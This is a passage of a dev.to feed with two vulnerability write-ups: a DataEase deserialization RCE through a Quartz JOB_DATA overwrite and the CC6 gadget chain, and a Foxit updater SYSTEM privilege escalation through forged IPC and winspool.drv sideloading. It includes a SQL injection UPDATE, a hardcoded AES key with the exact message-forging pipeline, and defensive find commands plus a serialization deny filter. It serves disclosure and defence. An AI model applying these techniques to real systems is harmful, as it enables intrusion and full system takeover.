        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One line does all the damage: &lt;code&gt;in.readObject()&lt;/code&gt;. A few things stand out about it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No class allowlist.&lt;/strong&gt; Whatever class the BLOB says it is, it gets instantiated — as long as that class exists somewhere on the JVM's classpath.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No &lt;code&gt;ObjectInputFilter&lt;/code&gt; (JEP 290, standard since Java 9) attached.&lt;/strong&gt; There's no hook intercepting &lt;code&gt;readObject()&lt;/code&gt; to reject dangerous classes before they're constructed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No trust boundary check on the source of the bytes.&lt;/strong&gt; &lt;code&gt;JOB_DATA&lt;/code&gt; is read straight from the database — whoever can write to that column controls what gets deserialized.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That resolves into a simple equation: &lt;strong&gt;write access to &lt;code&gt;qrtz_job_details.JOB_DATA&lt;/code&gt; == arbitrary code execution.&lt;/strong&gt; And DataEase already hands an attacker that write access via the SQL injection in the prior stage (CVE-2026-40900).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Conceptual example of the stacked-query SQL injection overwriting JOB_DATA&lt;/span&gt;
&lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="n"&gt;qrtz_job_details&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;job_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;serialized&lt;/span&gt; &lt;span class="n"&gt;malicious&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;job_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'check_status'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;job_group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'Datasource'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. What Gets Planted — the InvokerTransformer Gadget Chain
&lt;/h2&gt;

&lt;p&gt;An unfiltered &lt;code&gt;readObject()&lt;/code&gt; alone doesn't automatically mean command execution. Java deserialization, by design, only reconstructs object &lt;em&gt;state&lt;/em&gt; — turning that into &lt;code&gt;Runtime.exec()&lt;/code&gt; requires chaining together classes that already happen to sit on the classpath. This is what's known as a "gadget chain."&lt;/p&gt;

&lt;p&gt;DataEase's container happens to have both ingredients needed to complete one:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;commons-collections-3.2.1.jar&lt;/code&gt;&lt;/strong&gt; — ships &lt;code&gt;InvokerTransformer&lt;/code&gt;, a class that invokes an arbitrary method via reflection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;velocity-1.7.jar&lt;/code&gt;&lt;/strong&gt; — DataEase already uses the modern &lt;code&gt;velocity-engine-core-2.3.jar&lt;/code&gt;, but this old, unused &lt;code&gt;velocity-1.7.jar&lt;/code&gt; was never cleaned out of the classpath, and it's the thing that drags the vulnerable &lt;code&gt;commons-collections-3.2.1&lt;/code&gt; in with it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's the core of &lt;code&gt;InvokerTransformer&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// org.apache.commons.collections.functors.InvokerTransformer&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;Object&lt;/span&gt; &lt;span class="nf"&gt;transform&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Class&lt;/span&gt; &lt;span class="n"&gt;cls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="nc"&gt;Method&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMethod&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iMethodName&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iParamTypes&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;invoke&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iArgs&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// ★ arbitrary method call via reflection&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(...)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;iMethodName&lt;/code&gt;, &lt;code&gt;iParamTypes&lt;/code&gt;, and &lt;code&gt;iArgs&lt;/code&gt; are all fields inside the deserialized object — meaning &lt;strong&gt;the attacker fully controls them&lt;/strong&gt; when crafting the serialized payload. Chaining several of these together with a &lt;code&gt;ChainedTransformer&lt;/code&gt; produces a sequence like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ChainedTransformer execution order:
1) Obtain the Runtime class      (via the static Runtime.getRuntime method)
2) Call getRuntime()             to get a Runtime instance
3) Call exec(String) on it       ← arbitrary command execution happens here
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What actually kicks this transformer chain off during deserialization is a side effect of classes like &lt;code&gt;LazyMap&lt;/code&gt; or &lt;code&gt;AnnotationInvocationHandler&lt;/code&gt; invoking &lt;code&gt;equals()&lt;/code&gt;, &lt;code&gt;hashCode()&lt;/code&gt;, or a dynamic proxy's &lt;code&gt;invoke()&lt;/code&gt; while the object graph is being reconstructed — this is the well-known &lt;strong&gt;CommonsCollections6 (CC6)&lt;/strong&gt; gadget chain. In short, the attacker hijacks "some method call that happens automatically right after deserialization" and turns it into a call to &lt;code&gt;Runtime.exec()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The root cause, in one sentence:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A deserialization sink with no filter (Quartz's raw &lt;code&gt;ObjectInputStream&lt;/code&gt;) coexisting on the same classpath as gadget-chain material (an outdated Commons Collections, dragged in by an unnecessary legacy Velocity dependency).&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Removing any single one of the three — a serialization filter, a patched Commons Collections version, or cleaning up the dead Velocity jar — would have broken this chain.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Full Attack Flow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu66bdwu4pvu4shlpe217.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu66bdwu4pvu4shlpe217.png" alt=" " width="800" height="937"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Using the SQL injection obtained via the CVE-2026-40899 + CVE-2026-40900 chain, the attacker overwrites the &lt;code&gt;JOB_DATA&lt;/code&gt; column of the &lt;code&gt;Datasource/check_status&lt;/code&gt; job in &lt;code&gt;qrtz_job_details&lt;/code&gt; with a serialized CC6 gadget chain.&lt;/li&gt;
&lt;li&gt;That job has a cron trigger firing every 6 minutes, so the attacker just waits — no additional trigger action needed.&lt;/li&gt;
&lt;li&gt;When the trigger fires, &lt;code&gt;JobStoreSupport&lt;/code&gt; calls &lt;code&gt;retrieveJob()&lt;/code&gt;, which eventually reaches &lt;code&gt;StdJDBCDelegate.getObjectFromBlob()&lt;/code&gt; and calls &lt;code&gt;ObjectInputStream.readObject()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;During deserialization, the &lt;code&gt;InvokerTransformer&lt;/code&gt; chain fires, ultimately calling &lt;code&gt;Runtime.exec(attacker_command)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Since DataEase's JVM process runs as &lt;strong&gt;root&lt;/strong&gt; inside the container, the attacker gets a root shell (typically a reverse shell) immediately.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Chained together with the authentication bypass (CVE-2026-23958), this becomes &lt;strong&gt;fully unauthenticated remote root compromise&lt;/strong&gt; of any internet-exposed DataEase instance.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/1Ay6b_ZexLA"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  6. The Fix (v2.10.21)
&lt;/h2&gt;

&lt;p&gt;DataEase shipped v2.10.21 on April 16, 2026, resolving the issue by &lt;strong&gt;removing the gadget-chain ingredients&lt;/strong&gt; rather than hardening the deserialization sink itself:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Removed the unused legacy &lt;code&gt;velocity-1.7.jar&lt;/code&gt; dependency&lt;/li&gt;
&lt;li&gt;As a consequence, the &lt;code&gt;commons-collections-3.2.1.jar&lt;/code&gt; it was dragging in was also removed from the classpath&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In other words, the underlying architectural issue — Quartz's unfiltered deserialization sink — is still structurally there. The patch cuts off the specific gadget material that made it exploitable.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. What to Check on Your Own Instance
&lt;/h2&gt;

&lt;p&gt;If you're running DataEase and haven't upgraded yet, check whether these legacy jars are present:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check for the legacy velocity/commons-collections jars inside the container&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"velocity-1.7.jar"&lt;/span&gt; 2&amp;gt;/dev/null
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"commons-collections-3.2.1.jar"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an immediate upgrade isn't possible, a JEP 290 deserialization filter is a viable stopgap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Add to DataEase's JAVA_OPTS at startup&lt;/span&gt;
&lt;span class="nv"&gt;JAVA_OPTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"-Djdk.serialFilter=!org.apache.commons.collections.functors.*;!org.apache.commons.collections.Transformer;maxdepth=20"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This causes any class under &lt;code&gt;commons-collections&lt;/code&gt;'s &lt;code&gt;functors&lt;/code&gt; package to be rejected with &lt;code&gt;InvalidClassException&lt;/code&gt; the moment it appears during deserialization — before any gadget method gets a chance to run.&lt;/p&gt;

</description>
      <category>cve</category>
      <category>rce</category>
      <category>sql</category>
      <category>database</category>
    </item>
    <item>
      <title>SYSTEM Privilege Escalation via Forged IPC in Foxit PDF Reader's Update Service (CVE-2026-57239)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sun, 16 Aug 2026 07:47:42 +0000</pubDate>
      <link>https://dev.to/guidance_white/system-privilege-escalation-via-forged-ipc-in-foxit-pdf-readers-update-service-cve-2026-57239-29mm</link>
      <guid>https://dev.to/guidance_white/system-privilege-escalation-via-forged-ipc-in-foxit-pdf-readers-update-service-cve-2026-57239-29mm</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3au3zrmq6i596vdtoq5m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3au3zrmq6i596vdtoq5m.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-57239&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Local Privilege Escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;8.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected&lt;/td&gt;
&lt;td&gt;Foxit PDF Reader/Editor 2026.1.1 and earlier, 14.0.4 and earlier, 13.2.4 and earlier (Windows)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;2026.1.2 / 14.0.5 / 13.2.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovered by&lt;/td&gt;
&lt;td&gt;Luke Paris (Paradoxis)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disclosed&lt;/td&gt;
&lt;td&gt;2026-07-15&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;CVE-2026-57239 lets a low-privileged Windows user who already has code execution escalate to &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;. It isn't remote code execution — it's a post-exploitation privilege-escalation chain that turns "I can run code as a normal user" into "I own the box."&lt;/p&gt;

&lt;p&gt;Three separate design flaws combine to make this work:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A SYSTEM-level service trusts a &lt;strong&gt;user-writable file&lt;/strong&gt; under &lt;code&gt;ProgramData&lt;/code&gt; as its command channel.&lt;/li&gt;
&lt;li&gt;That file's IPC command is &lt;strong&gt;AES-128-CBC encrypted with a key hardcoded in the client binary&lt;/strong&gt;, so anyone can forge a valid message.&lt;/li&gt;
&lt;li&gt;The process the service ultimately launches is vulnerable to &lt;strong&gt;DLL (or in this case, DRV) sideloading&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Chain all three together and a standard user reaches SYSTEM code execution.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. The Target: FoxitPDFReaderUpdateService.exe
&lt;/h2&gt;

&lt;p&gt;Foxit PDF Reader ships two related processes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;%APPDATA%\Foxit Software\Continuous\Addon\Foxit PDF Reader\FoxitPDFReaderUpdater.exe&lt;/code&gt; — the actual updater, running with the current user's privileges&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;FoxitPDFReaderUpdateService.exe&lt;/code&gt; — a background service running as &lt;strong&gt;NT AUTHORITY\SYSTEM&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Watching this service in Procmon shows it repeatedly polling three files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C:\ProgramData\Foxit Software\Foxit PDF Reader\Foxit Service\Log\log.lib
C:\ProgramData\Foxit Software\Foxit PDF Reader\FoxitData.txt
C:\Program Files\Foxit Software\Foxit PDF Reader\ProfStore\ProfStore.xml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;Program Files&lt;/code&gt; path is off-limits to standard users. But &lt;code&gt;C:\ProgramData\Foxit Software\Foxit PDF Reader\&lt;/code&gt; is writable by the &lt;code&gt;Users&lt;/code&gt; group by default — meaning any unprivileged process can freely create or modify &lt;code&gt;FoxitData.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Triggering an update check inside the Reader produces this event sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;FoxitData.txt&lt;/code&gt; gets created/written&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;%APPDATA%\...\FoxitPDFReaderUpdater.exe&lt;/code&gt; is launched&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;That process runs as SYSTEM&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In other words, whatever gets written to &lt;code&gt;FoxitData.txt&lt;/code&gt; decides what the SYSTEM service executes, and with what arguments. The problem is how loosely that content is validated.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. IPC Message Format: AES-128-CBC With a Hardcoded Key
&lt;/h2&gt;

&lt;p&gt;Foxit's own logs (&lt;code&gt;log.lib&lt;/code&gt;) capture both the plaintext command written into &lt;code&gt;FoxitData.txt&lt;/code&gt; and the hex blob preceding it. The plaintext is a pipe (&lt;code&gt;||&lt;/code&gt;) delimited list of &lt;code&gt;key=value&lt;/code&gt; pairs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sessionid=1||strTempUpdaterPath=C:\Users\User\AppData\Roaming\Foxit Software\Continuous\Addon\Foxit PDF Reader\FoxitPDFReaderUpdater.exe||csCommandLine= -updater -type "Auto Updater" -hwnd 131494 -bnoshowtip -readerpath "C:\Program Files\Foxit Software\Foxit PDF Reader\" -regpath "HKEY_CURRENT_USER\Software\Foxit Software\Foxit PDF Reader\Continuous" -version "2026.1.0.36452" -readerlang "en-US" -UpdateMode "1" -SessionID "1"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking down the fields:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sessionid&lt;/code&gt; — which Windows logon session (&lt;code&gt;winlogon.exe&lt;/code&gt;) the SYSTEM service should associate the new process with&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;strTempUpdaterPath&lt;/code&gt; — the &lt;strong&gt;full path of the executable to run as SYSTEM&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;csCommandLine&lt;/code&gt; — the arguments passed to it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Reverse engineering &lt;code&gt;FoxitPDFReaderUpdateService.exe&lt;/code&gt; reveals the key setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// FoxitPDFReaderUpdateService.exe (reconstructed from disassembly)&lt;/span&gt;
&lt;span class="n"&gt;BYTE&lt;/span&gt; &lt;span class="n"&gt;encryption_key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;encryption_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"c6c7702dbcbf4678"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 16-byte hardcoded key&lt;/span&gt;
&lt;span class="n"&gt;AES_SetKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;aes_ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encryption_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt; &lt;span class="cm"&gt;/* bits */&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;AES_CBC_Decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;aes_ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv_zero&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;plaintext_out&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key is baked straight into the binary. A few quirks make reproducing the exact wire format tricky:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;IV is fixed at all zero bytes&lt;/strong&gt; (16 null bytes).&lt;/li&gt;
&lt;li&gt;Plaintext is padded to the 16-byte AES block size with &lt;strong&gt;null bytes&lt;/strong&gt;, not PKCS#7.&lt;/li&gt;
&lt;li&gt;The trickiest part: capturing the actual bytes Foxit writes to disk in API Monitor shows a &lt;code&gt;00&lt;/code&gt; byte interleaved with every other byte — meaning the plaintext is encoded as &lt;strong&gt;UTF-16LE&lt;/strong&gt; before encryption. Encoding as plain ANSI/UTF-8 produces ciphertext the service will never accept.&lt;/li&gt;
&lt;li&gt;The final ciphertext is &lt;strong&gt;hex-encoded&lt;/strong&gt;, and that hex string is itself re-encoded as UTF-16 before being written to &lt;code&gt;FoxitData.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The full pipeline looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plaintext command string (key=value||key=value...)
   → UTF-16LE encode
   → pad with 0x00 to a multiple of 16 bytes
   → AES-128-CBC encrypt (key: "c6c7702dbcbf4678", IV: 0x00 * 16)
   → hex-encode ciphertext
   → UTF-16 encode the hex string
   → write to FoxitData.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. Service-Side Processing Flow
&lt;/h2&gt;

&lt;p&gt;Reversing &lt;code&gt;FoxitPDFReaderUpdateService.exe&lt;/code&gt; shows roughly this sequence after it reads &lt;code&gt;FoxitData.txt&lt;/code&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Extract &lt;code&gt;sessionid&lt;/code&gt; from the decrypted command.&lt;/li&gt;
&lt;li&gt;Walk the process list to find the &lt;code&gt;winlogon.exe&lt;/code&gt; belonging to that session.&lt;/li&gt;
&lt;li&gt;Open that process and &lt;strong&gt;duplicate its token&lt;/strong&gt; (&lt;code&gt;DuplicateTokenEx&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Build an &lt;strong&gt;environment block&lt;/strong&gt; from that token with &lt;code&gt;bInheritHandles = TRUE&lt;/code&gt;, apparently to reconstruct the target session's desktop/environment context.&lt;/li&gt;
&lt;li&gt;Launch the executable named in &lt;code&gt;strTempUpdaterPath&lt;/code&gt; &lt;strong&gt;in the SYSTEM security context&lt;/strong&gt; via the &lt;code&gt;CreateProcess&lt;/code&gt; family, passing &lt;code&gt;csCommandLine&lt;/code&gt; verbatim.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Right before launch, two checks run:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;filename check&lt;/strong&gt; confirming the target matches an expected name (e.g. &lt;code&gt;FoxitPDFReaderUpdater.exe&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;certificate check&lt;/strong&gt; confirming the binary carries a valid Foxit code-signing signature&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So pointing &lt;code&gt;strTempUpdaterPath&lt;/code&gt; at &lt;code&gt;cmd.exe&lt;/code&gt; or an arbitrary binary fails the signature check. But if the attacker simply supplies the &lt;strong&gt;real, legitimately signed Foxit updater binary&lt;/strong&gt;, that check becomes meaningless — it only verifies "did Foxit build this file," not "is everything this file loads also safe." That gap is exactly where the sideload comes in.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. DLL/DRV Sideloading in a Privileged Context
&lt;/h2&gt;

&lt;p&gt;Watching &lt;code&gt;FoxitPDFReaderUpdater.exe&lt;/code&gt; in Procmon shows a burst of &lt;code&gt;CreateFile&lt;/code&gt; calls against several DLLs in the current working directory (the attacker-controlled &lt;code&gt;%APPDATA%\...\Foxit PDF Reader\&lt;/code&gt; folder), most returning &lt;code&gt;PATH NOT FOUND&lt;/code&gt;. Most of these carry anti-sideload checks — except one:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;winspool.drv&lt;/code&gt; — referenced &lt;strong&gt;before&lt;/strong&gt; every other library, and despite the &lt;code&gt;.drv&lt;/code&gt; extension it's a regular PE that runs &lt;code&gt;DllMain&lt;/code&gt; on load like any DLL.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;oleaccrc.dll&lt;/code&gt;, by contrast, is a resource-only DLL loaded with &lt;code&gt;LOAD_LIBRARY_AS_DATAFILE&lt;/code&gt;, so it can't execute code even if sideloaded.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Drop a malicious &lt;code&gt;winspool.drv&lt;/code&gt; in the attacker-writable path, and &lt;code&gt;FoxitPDFReaderUpdater.exe&lt;/code&gt; — now running as SYSTEM courtesy of the forged IPC command — loads it directly, completing &lt;strong&gt;arbitrary code execution as SYSTEM&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Interestingly, Foxit happened to close this exact entry point days after it was found, as part of an unrelated patch for two other bugs (CVE-2026-3775/CVE-2026-3780). But the same DLL-search-order flaw resurfaced through a second trigger: clicking a hyperlink inside the updater's "check for update" dialog reopened the identical sideload primitive. The entry point moved; the root cause — a signed SYSTEM process resolving DLLs from a user-writable directory first — did not.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Full Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[low-privileged user process]
